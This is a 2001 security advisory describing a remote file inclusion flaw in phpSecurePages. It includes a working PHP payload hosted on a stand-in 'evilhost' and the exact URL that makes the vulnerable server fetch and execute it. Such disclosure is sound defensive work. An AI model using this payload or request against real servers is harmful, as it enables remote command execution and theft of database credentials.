Security Advice #9

=================================================
Secure Reality Pty Ltd. Security Advisory #9 (SRADV00009)
Secure Reality
================================================= [Title] Remote command execution vulnerabilities in phpSecurePages [Released] 2/7/2001 [Vulnerable] Versions up to and including Beta 2.4 [Overview] phpSecurePages is a very easy to use tool for password protecting portions of websites on PHP enabled webservers. In versions specified phpSecurePages makes insecure calls to the PHP function include(). Installations of the versions specified are vulnerable to attacks in which the attacker gains the ability to execute arbitrary commands (and code) on the remote web server with the permissions of the web server user, typically 'nobody'. phpSecurePages can be configured to use a Database for authorization information, in this case the remote command execution vulnerability can be used to read the configuration files and disclose the database credentials therein. [Impact] Remote command execution (with privileges as above) Possible disclosure of Database Credentials [Detail] Please note that this vulnerability was discussed in detail at the Black Hat Briefings in Hong Kong and Singapore in Asia 2001. At some stage, Powerpoint presentation notes and audio/video of the presentation will become available at http://www.blackhat.com. Note also that this description will be best understood (and is released in conjunction with) our new paper "A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications" which can be downloaded from http://www.securereality.com.au/archives.html As with all the advisories released in conjunction with the paper above I'm going to describe this problem in gross detail, from finding the hole to exploiting it (sidestepping various annoying barriers along the way). phpSecurePages is designed to be an easy to use way to password protect portions of websites. In order to protect a particular web page using phpSecurePages the administrator needs to make that page parseable by php (usually by giving it a specific file extension, often '.php') then put on line of PHP code into that page which looks like the following: <?php include("<path to phpSecurePages>/secure.php"); ?> The include statement is used to cause PHP to read a particular file and interpret its contents at PHP code. The above line reads in the phpSecurePages code and executes it (when the restricted page is accessed), the code in turn performs authentication etc. The problem in the phpSecurePages code is spotted extremely easily with a grep of the source. The following line of code in checklogin.php looks dangerous: 102 include($cfgProgDir . "interface.php"); If an attacker can control the content of $cfgProgDir they can provide a value like "http://my.evil.server.com/" and PHP's remote files functionality will cause the phpSecurePages application to request the interface.php file from my.evil.server.com then execute its content on the remote machine. So first we need to understand the context of this call. The first question to be asked is the purpose of checklogin.php in the application. Taking a look in secure.php (remembering secure.php is the file that is included by other pages to get phpSecurePages authentication): 9 /****** Installation ******/ 10 $cfgProgDir = '/~shaman/phpSecurePages/'; 11 // location of phpSecurePages calculated from the root of the server 12 // Example: if you installed phpSecurePages on http://www.mydomain.com/phpSecurePages/ 13 // the value would be $cfgProgDir = '/phpSecurePages/' 14 $cfgIndexpage = '/index.php'; ... lots of other configuration information (language, image locations etc) ... 125 include($cfgProgDir . "lng/" . $languageFile); 126 include($cfgProgDir . "session.php"); 127 128 129 // choose between login or logout 130 if ($logout && !($HTTP_GET_VARS["logout"] || $HTTP_POST_VARS["logout"])) { 131 // logout 132 include($cfgProgDir . "logout.php"); 133 } else { 134 // loading login check 135 include($cfgProgDir . "checklogin.php"); 136 } 137 ?> Basically secure.php is mostly full of configuration information for the phpSecurePages installation. Once its set up the configuration environment it determines if the request is to logon or logoff (on line 130) and based on that includes either logout.php or checklogin.php. checklogin.php is meant to be included and executed by secure.php when the request is for a logon. This is the PHP library files concept, code is compartmentalized into separate PHP source files which can simply be included when needed. As discussed in 'A Study In Scarlet' the fact that files with non PHP parsed extensions (e.g '.inc') will be returned as source when requested remotely has caused many people to give every file a PHP parsed extension to prevent source disclosure (particularly a problem for configuration scripts containing database credentials etc). The problem with this is that it allows files that are never meant to be executed except in the context of other scripts to be executed by remote attackers in unsafe environments. If checklogin.php is called directly it cannot rely on any of the configuration variables, in particular an attacker may set $cfgProgDir to whatever they wish. A hurdle that must be overcome is knowing the location of the phpSecurePages installation, recall that phpSecurePages can be installed anywhere in the web directories and is simply include()d from other pages. One interesting point is that phpSecurePages shouldn't really need to be installed in a web accessible directory at all, PHP will happily include any file, not just one accessible by the web server. However the application ships with, and needs to know the location of various images it displays during the authentication process. In order to make the installation and configuration easier the application is just unpacked into a web directory and is configured to know its location in the filesystem and the webpath to the directory in which it is installed. This means that the URLs for the images displayed in the logon process give away the location of the phpSecurePages installation, for example: <IMG SRC="http://vulnserver/phpSecurePages/images/cancel.gif" ... The attacker now knows they can request checklogin.php from http://vulnserver/phpSecurePages/checklogin.php. To exploit the vulnerability the attacker simply needs to point the cfgProgDir variable at a web path they can control (a free provider would be fine) and create the file interface.php on that webserver. Its content would be requested and executed by the vulnerable installation of phpSecurePages. For example the attacker might place the following content in interface.php on http://evilhost/: <?php // PHP code to be executed $phpcode = ' echo("Hi there!<BR>"); passthru("id"); '; // If we were called via remote include, send the code to be // executed if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == "PHP") echo("<?php $phpcode ?>"); else // Otherwise we're being executed on the target web server already, // so simply evaluate the code eval($phpcode); exit(); ?> (This script is designed so that the server it is placed on can be PHP enabled and not result in the code being executed on the attacking machine) The attacker could then make the following request to have the PHP code above retrieved and executed: http://vulnhost/phpSecurePages/checklogin.php?cfgProgDir=http://evilhost/ As always with PHP there are many caveats to the attacks details in this advisory based on PHP configuration and version. I'm not going to go into detail on these but some to consider are listed below. Suffice to say this is a bug and it is usually exploitable. - The remote web server must be able to retrieve the file, i.e no firewalls in the way - The remote web server must not be running PHP under windows since remote file includes are not supported on this platform - The remote web server must not have allow_url_fopen set off [Fix] Later versions of phpSecurePages correct this problem. Please download version 0.25 beta or above from: http://www.phpsecurepages.f2s.com/ [Acknowledgements] Our thanks to Paul Kruyt, the author of phpSecurePages for quickly correcting this problem [Disclaimer] Advice, directions and instructions on security vulnerabilities in this advisory do not constitute: an endorsement of illegal behavior; a guarantee that protection measures will work; an endorsement of any product or solution or recommendations on behalf of Secure Reality Pty Ltd. Content is provided as is and Secure Reality Pty Ltd does not accept responsibility for any damage or injury caused as a result of its use.